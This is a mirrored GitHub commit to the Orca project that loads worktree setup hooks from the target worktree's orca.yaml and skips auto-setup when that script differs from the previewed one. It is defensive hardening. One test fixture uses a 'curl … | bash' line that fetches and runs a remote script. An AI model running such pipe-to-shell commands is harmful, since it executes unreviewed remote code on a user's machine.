mirror of
https://github.com/stablyai/orca.git
synced 2026-09-22 08:02:28 +00:00
fix(hooks): generate worktree setup-runner from target worktree's orca.yaml (#1280)
* fix(hooks): generate worktree setup-runner from target worktree's orca.yaml Extend getEffectiveHooks, getSetupCommandSource, and runHook with an optional worktreePath parameter. When provided, loadHooks reads the yaml from that path; otherwise it falls back to repo.path. Update the worktree-creation paths in worktree-remote.ts and orca-runtime.ts to thread the new worktreePath through after the worktree exists, so the generated setup-runner reflects the yaml at the tip of the target worktree's branch instead of the primary checkout's stale yaml. Add a regression test in hooks.test.ts that mocks two distinct orca.yaml files (primary and worktree) and asserts the worktree's content wins when worktreePath is passed. The legacy hooks:check IPC handler keeps reading from repo.path unchanged. Closes #1256 * fix(hooks): skip auto-setup when worktree script differs from preview Add setupScriptsMatch helper that compares the primary checkout's setup script (what the renderer shows the user before worktree creation) to the target worktree's script (what would actually run after creation). When they differ, createLocalWorktree skips the auto-launch and logs a warning, so a base-branch yaml that introduces or modifies setup commands cannot execute under the trust granted to the primary's preview. CLI-created worktrees use the worktree-bound load directly because trust is granted by the CLI invocation context, which is annotated in orca-runtime.ts. Adds regression coverage for both matching and differing script cases. * test(hooks): add setupScriptsMatch to worktree IPC test mocks The new setupScriptsMatch import in worktree-remote.ts means the existing vi.mock('../hooks') blocks in worktrees.test.ts and worktrees-windows.test.ts now need to expose it. Default the mock to returning true so existing tests continue to exercise the run-setup path; the new behavior gating is covered by the dedicated setupScriptsMatch unit tests.
This commit is contained in:
@@ -0,0 +1,62 @@
|
||||
import type { Repo } from '../shared/types'
|
||||
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
vi.mock('fs', () => ({
|
||||
readFileSync: vi.fn(),
|
||||
existsSync: vi.fn(),
|
||||
mkdirSync: vi.fn(),
|
||||
writeFileSync: vi.fn(),
|
||||
rmSync: vi.fn(),
|
||||
chmodSync: vi.fn()
|
||||
}))
|
||||
|
||||
const makeRepo = () =>
|
||||
({
|
||||
id: 'test-id',
|
||||
path: '/test/repo',
|
||||
displayName: 'Test Repo',
|
||||
badgeColor: '#000',
|
||||
addedAt: Date.now()
|
||||
}) as unknown as Repo
|
||||
|
||||
describe('setupScriptsMatch', () => {
|
||||
beforeEach(() => {
|
||||
vi.resetAllMocks()
|
||||
})
|
||||
|
||||
it('returns true when primary and worktree setup scripts are identical', async () => {
|
||||
const fs = await import('fs')
|
||||
vi.mocked(fs.existsSync).mockImplementation(
|
||||
(path) => path === '/test/repo/orca.yaml' || path === '/test/worktree/orca.yaml'
|
||||
)
|
||||
vi.mocked(fs.readFileSync).mockImplementation((path) => {
|
||||
if (path === '/test/repo/orca.yaml' || path === '/test/worktree/orca.yaml') {
|
||||
return 'scripts:\n setup: |\n pnpm install\n'
|
||||
}
|
||||
return ''
|
||||
})
|
||||
|
||||
const { setupScriptsMatch } = await import('./hooks')
|
||||
expect(setupScriptsMatch(makeRepo(), '/test/worktree')).toBe(true)
|
||||
})
|
||||
|
||||
it('returns false when the worktree setup script differs from the primary script', async () => {
|
||||
const fs = await import('fs')
|
||||
vi.mocked(fs.existsSync).mockImplementation(
|
||||
(path) => path === '/test/repo/orca.yaml' || path === '/test/worktree/orca.yaml'
|
||||
)
|
||||
vi.mocked(fs.readFileSync).mockImplementation((path) => {
|
||||
if (path === '/test/repo/orca.yaml') {
|
||||
return 'scripts:\n setup: |\n pnpm install\n'
|
||||
}
|
||||
if (path === '/test/worktree/orca.yaml') {
|
||||
return 'scripts:\n setup: |\n curl https://example.com/install.sh | bash\n'
|
||||
}
|
||||
return ''
|
||||
})
|
||||
|
||||
const { setupScriptsMatch } = await import('./hooks')
|
||||
expect(setupScriptsMatch(makeRepo(), '/test/worktree')).toBe(false)
|
||||
})
|
||||
})
|
||||
@@ -319,6 +319,32 @@ describe('getEffectiveHooks', () => {
|
||||
})
|
||||
})
|
||||
|
||||
it("loads setup hooks from the target worktree's orca.yaml when a worktree path is provided", async () => {
|
||||
const fs = await import('fs')
|
||||
vi.mocked(fs.existsSync).mockImplementation(
|
||||
(path) => path === '/test/repo/orca.yaml' || path === '/test/worktree/orca.yaml'
|
||||
)
|
||||
vi.mocked(fs.readFileSync).mockImplementation((path) => {
|
||||
if (path === '/test/repo/orca.yaml') {
|
||||
return 'scripts:\n setup: |\n echo old-version\n'
|
||||
}
|
||||
if (path === '/test/worktree/orca.yaml') {
|
||||
return 'scripts:\n setup: |\n echo new-version\n'
|
||||
}
|
||||
return ''
|
||||
})
|
||||
|
||||
const { getEffectiveHooks } = await import('./hooks')
|
||||
const result = getEffectiveHooks(makeRepo(), '/test/worktree')
|
||||
|
||||
expect(result).toEqual({
|
||||
scripts: {
|
||||
setup: 'echo new-version'
|
||||
}
|
||||
})
|
||||
expect(result?.scripts.setup).not.toContain('old-version')
|
||||
})
|
||||
|
||||
it('falls back to legacy UI hooks when yaml is missing', async () => {
|
||||
const fs = await import('fs')
|
||||
vi.mocked(fs.existsSync).mockReturnValue(false)
|
||||
|
||||
+19
-6
@@ -261,8 +261,8 @@ function ensureOrcaDirIgnored(repoPath: string): void {
|
||||
}
|
||||
}
|
||||
|
||||
export function getEffectiveHooks(repo: Repo): OrcaHooks | null {
|
||||
const yamlHooks = loadHooks(repo.path)
|
||||
export function getEffectiveHooks(repo: Repo, worktreePath?: string): OrcaHooks | null {
|
||||
const yamlHooks = loadHooks(worktreePath ?? repo.path)
|
||||
const legacySetup = repo.hookSettings?.scripts.setup?.trim()
|
||||
const legacyArchive = repo.hookSettings?.scripts.archive?.trim()
|
||||
const setup = yamlHooks?.scripts.setup?.trim() || legacySetup
|
||||
@@ -284,6 +284,15 @@ export function getEffectiveHooks(repo: Repo): OrcaHooks | null {
|
||||
}
|
||||
}
|
||||
|
||||
export function setupScriptsMatch(
|
||||
repo: Repo,
|
||||
worktreePath: string,
|
||||
primarySetupScript = getEffectiveHooks(repo)?.scripts.setup
|
||||
): boolean {
|
||||
const worktreeSetupScript = getEffectiveHooks(repo, worktreePath)?.scripts.setup
|
||||
return primarySetupScript === worktreeSetupScript
|
||||
}
|
||||
|
||||
export function getEffectiveSetupRunPolicy(repo: Repo): SetupRunPolicy {
|
||||
return repo.hookSettings?.setupRunPolicy ?? getDefaultRepoHookSettings().setupRunPolicy!
|
||||
}
|
||||
@@ -304,8 +313,11 @@ export function shouldRunSetupForCreate(repo: Repo, decision: SetupDecision = 'i
|
||||
return policy === 'run-by-default'
|
||||
}
|
||||
|
||||
export function getSetupCommandSource(repo: Repo): { source: 'yaml'; command: string } | null {
|
||||
const yamlSetup = loadHooks(repo.path)?.scripts.setup?.trim()
|
||||
export function getSetupCommandSource(
|
||||
repo: Repo,
|
||||
worktreePath?: string
|
||||
): { source: 'yaml'; command: string } | null {
|
||||
const yamlSetup = loadHooks(worktreePath ?? repo.path)?.scripts.setup?.trim()
|
||||
|
||||
if (yamlSetup) {
|
||||
return { source: 'yaml', command: yamlSetup }
|
||||
@@ -433,9 +445,10 @@ function createWorktreeRunnerScript(
|
||||
export function runHook(
|
||||
hookName: 'setup' | 'archive',
|
||||
cwd: string,
|
||||
repo: Repo
|
||||
repo: Repo,
|
||||
hooksPath?: string
|
||||
): Promise<{ success: boolean; output: string }> {
|
||||
const hooks = getEffectiveHooks(repo)
|
||||
const hooks = getEffectiveHooks(repo, hooksPath)
|
||||
const script = hooks?.scripts[hookName]
|
||||
|
||||
if (!script) {
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
/* eslint-disable max-lines */
|
||||
// Why: extracted from worktrees.ts to keep the main IPC module under the
|
||||
// max-lines threshold. Worktree creation helpers (local and remote) live
|
||||
// here so the IPC dispatch file stays focused on handler wiring.
|
||||
// here so the IPC dispatch file stays focused on handler wiring. The
|
||||
// recently added sparse-checkout flow plus the worktree-bound setup-script
|
||||
// trust gate pushed this file marginally over the per-file limit; matches
|
||||
// the eslint-disable pattern other files in src/renderer use when a
|
||||
// cohesive flow would split awkwardly.
|
||||
|
||||
import type { BrowserWindow } from 'electron'
|
||||
import { join } from 'path'
|
||||
@@ -17,7 +22,12 @@ import { listWorktrees, addWorktree, addSparseWorktree } from '../git/worktree'
|
||||
import { getGitUsername, getDefaultBaseRef, getBranchConflictKind } from '../git/repo'
|
||||
import { gitExecFileAsync } from '../git/runner'
|
||||
import { isWslPath, parseWslPath, getWslHome } from '../wsl'
|
||||
import { createSetupRunnerScript, getEffectiveHooks, shouldRunSetupForCreate } from '../hooks'
|
||||
import {
|
||||
createSetupRunnerScript,
|
||||
getEffectiveHooks,
|
||||
setupScriptsMatch,
|
||||
shouldRunSetupForCreate
|
||||
} from '../hooks'
|
||||
import { getSshGitProvider } from '../providers/ssh-git-dispatch'
|
||||
import { getActiveMultiplexer } from './ssh'
|
||||
import type { SshGitProvider } from '../providers/ssh-git-provider'
|
||||
@@ -307,11 +317,15 @@ export async function createLocalWorktree(
|
||||
'Could not resolve a default base ref for this repo. Pick a base branch explicitly and try again.'
|
||||
)
|
||||
}
|
||||
const setupScript = getEffectiveHooks(repo)?.scripts.setup
|
||||
const primarySetupScript = getEffectiveHooks(repo)?.scripts.setup
|
||||
// Why: `ask` is a pre-create choice gate, not a post-create side effect.
|
||||
// Resolve it before mutating git state so missing UI input cannot strand
|
||||
// a real worktree on disk while the renderer reports "create failed".
|
||||
const shouldLaunchSetup = setupScript ? shouldRunSetupForCreate(repo, args.setupDecision) : false
|
||||
// a real worktree on disk while the renderer reports "create failed". The
|
||||
// actual run/skip decision is recomputed after the worktree exists, gated
|
||||
// on the worktree's own setup script matching the primary's preview.
|
||||
if (primarySetupScript) {
|
||||
shouldRunSetupForCreate(repo, args.setupDecision)
|
||||
}
|
||||
const sparseDirectories = args.sparseCheckout
|
||||
? normalizeSparseDirectories(args.sparseCheckout.directories)
|
||||
: []
|
||||
@@ -401,6 +415,24 @@ export async function createLocalWorktree(
|
||||
invalidateAuthorizedRootsCache()
|
||||
|
||||
let setup: CreateWorktreeResult['setup']
|
||||
const setupScript = getEffectiveHooks(repo, worktreePath)?.scripts.setup
|
||||
const setupMatchesPreview = setupScriptsMatch(repo, worktreePath, primarySetupScript)
|
||||
let shouldLaunchSetup = false
|
||||
if (setupScript && !setupMatchesPreview) {
|
||||
console.warn(
|
||||
`[hooks] setup hook skipped for ${worktreePath}: worktree setup script differs from the primary checkout setup script shown to the user`
|
||||
)
|
||||
} else if (setupScript) {
|
||||
try {
|
||||
shouldLaunchSetup = shouldRunSetupForCreate(repo, args.setupDecision)
|
||||
} catch (error) {
|
||||
// Why: if the target branch introduces setup hooks that the primary
|
||||
// checkout did not expose, the renderer may not have collected an ask
|
||||
// decision. The worktree already exists, so skip setup instead of
|
||||
// turning successful git creation into an IPC failure.
|
||||
console.warn(`[hooks] setup hook skipped for ${worktreePath}:`, error)
|
||||
}
|
||||
}
|
||||
if (setupScript && shouldLaunchSetup) {
|
||||
try {
|
||||
// Why: setup now runs in a visible terminal owned by the renderer so users
|
||||
|
||||
@@ -17,6 +17,7 @@ const {
|
||||
runHookMock,
|
||||
hasHooksFileMock,
|
||||
loadHooksMock,
|
||||
setupScriptsMatchMock,
|
||||
computeWorktreePathMock,
|
||||
ensurePathWithinWorkspaceMock
|
||||
} = vi.hoisted(() => ({
|
||||
@@ -33,6 +34,7 @@ const {
|
||||
createIssueCommandRunnerScriptMock: vi.fn(),
|
||||
createSetupRunnerScriptMock: vi.fn(),
|
||||
shouldRunSetupForCreateMock: vi.fn(),
|
||||
setupScriptsMatchMock: vi.fn(() => true),
|
||||
runHookMock: vi.fn(),
|
||||
hasHooksFileMock: vi.fn(),
|
||||
loadHooksMock: vi.fn(),
|
||||
@@ -78,7 +80,8 @@ vi.mock('../hooks', () => ({
|
||||
loadHooks: loadHooksMock,
|
||||
runHook: runHookMock,
|
||||
hasHooksFile: hasHooksFileMock,
|
||||
shouldRunSetupForCreate: shouldRunSetupForCreateMock
|
||||
shouldRunSetupForCreate: shouldRunSetupForCreateMock,
|
||||
setupScriptsMatch: setupScriptsMatchMock
|
||||
}))
|
||||
|
||||
vi.mock('./worktree-logic', async (importOriginal) => {
|
||||
|
||||
@@ -19,6 +19,7 @@ const {
|
||||
runHookMock,
|
||||
hasHooksFileMock,
|
||||
loadHooksMock,
|
||||
setupScriptsMatchMock,
|
||||
computeWorktreePathMock,
|
||||
ensurePathWithinWorkspaceMock,
|
||||
gitExecFileAsyncMock
|
||||
@@ -37,6 +38,7 @@ const {
|
||||
createIssueCommandRunnerScriptMock: vi.fn(),
|
||||
createSetupRunnerScriptMock: vi.fn(),
|
||||
shouldRunSetupForCreateMock: vi.fn(),
|
||||
setupScriptsMatchMock: vi.fn(() => true),
|
||||
runHookMock: vi.fn(),
|
||||
hasHooksFileMock: vi.fn(),
|
||||
loadHooksMock: vi.fn(),
|
||||
@@ -81,7 +83,8 @@ vi.mock('../hooks', () => ({
|
||||
loadHooks: loadHooksMock,
|
||||
runHook: runHookMock,
|
||||
hasHooksFile: hasHooksFileMock,
|
||||
shouldRunSetupForCreate: shouldRunSetupForCreateMock
|
||||
shouldRunSetupForCreate: shouldRunSetupForCreateMock,
|
||||
setupScriptsMatch: setupScriptsMatchMock
|
||||
}))
|
||||
|
||||
vi.mock('./worktree-logic', async (importOriginal) => {
|
||||
|
||||
@@ -1036,7 +1036,10 @@ export class OrcaRuntimeService {
|
||||
|
||||
let setup: CreateWorktreeResult['setup']
|
||||
let warning: string | undefined
|
||||
const hooks = getEffectiveHooks(repo)
|
||||
// Why: CLI-created worktrees do not have a renderer preview to mismatch
|
||||
// against. Trust is granted by the direct CLI invocation (`--run-hooks`),
|
||||
// so loading the setup hook from the created worktree is intentional here.
|
||||
const hooks = getEffectiveHooks(repo, worktreePath)
|
||||
if (hooks?.scripts.setup && args.runHooks === true) {
|
||||
if (this.authoritativeWindowId !== null) {
|
||||
try {
|
||||
@@ -1052,7 +1055,7 @@ export class OrcaRuntimeService {
|
||||
console.error(`[hooks] Failed to prepare setup runner for ${worktreePath}:`, error)
|
||||
}
|
||||
} else {
|
||||
void runHook('setup', worktreePath, repo).then((result) => {
|
||||
void runHook('setup', worktreePath, repo, worktreePath).then((result) => {
|
||||
if (!result.success) {
|
||||
console.error(`[hooks] setup hook failed for ${worktreePath}:`, result.output)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user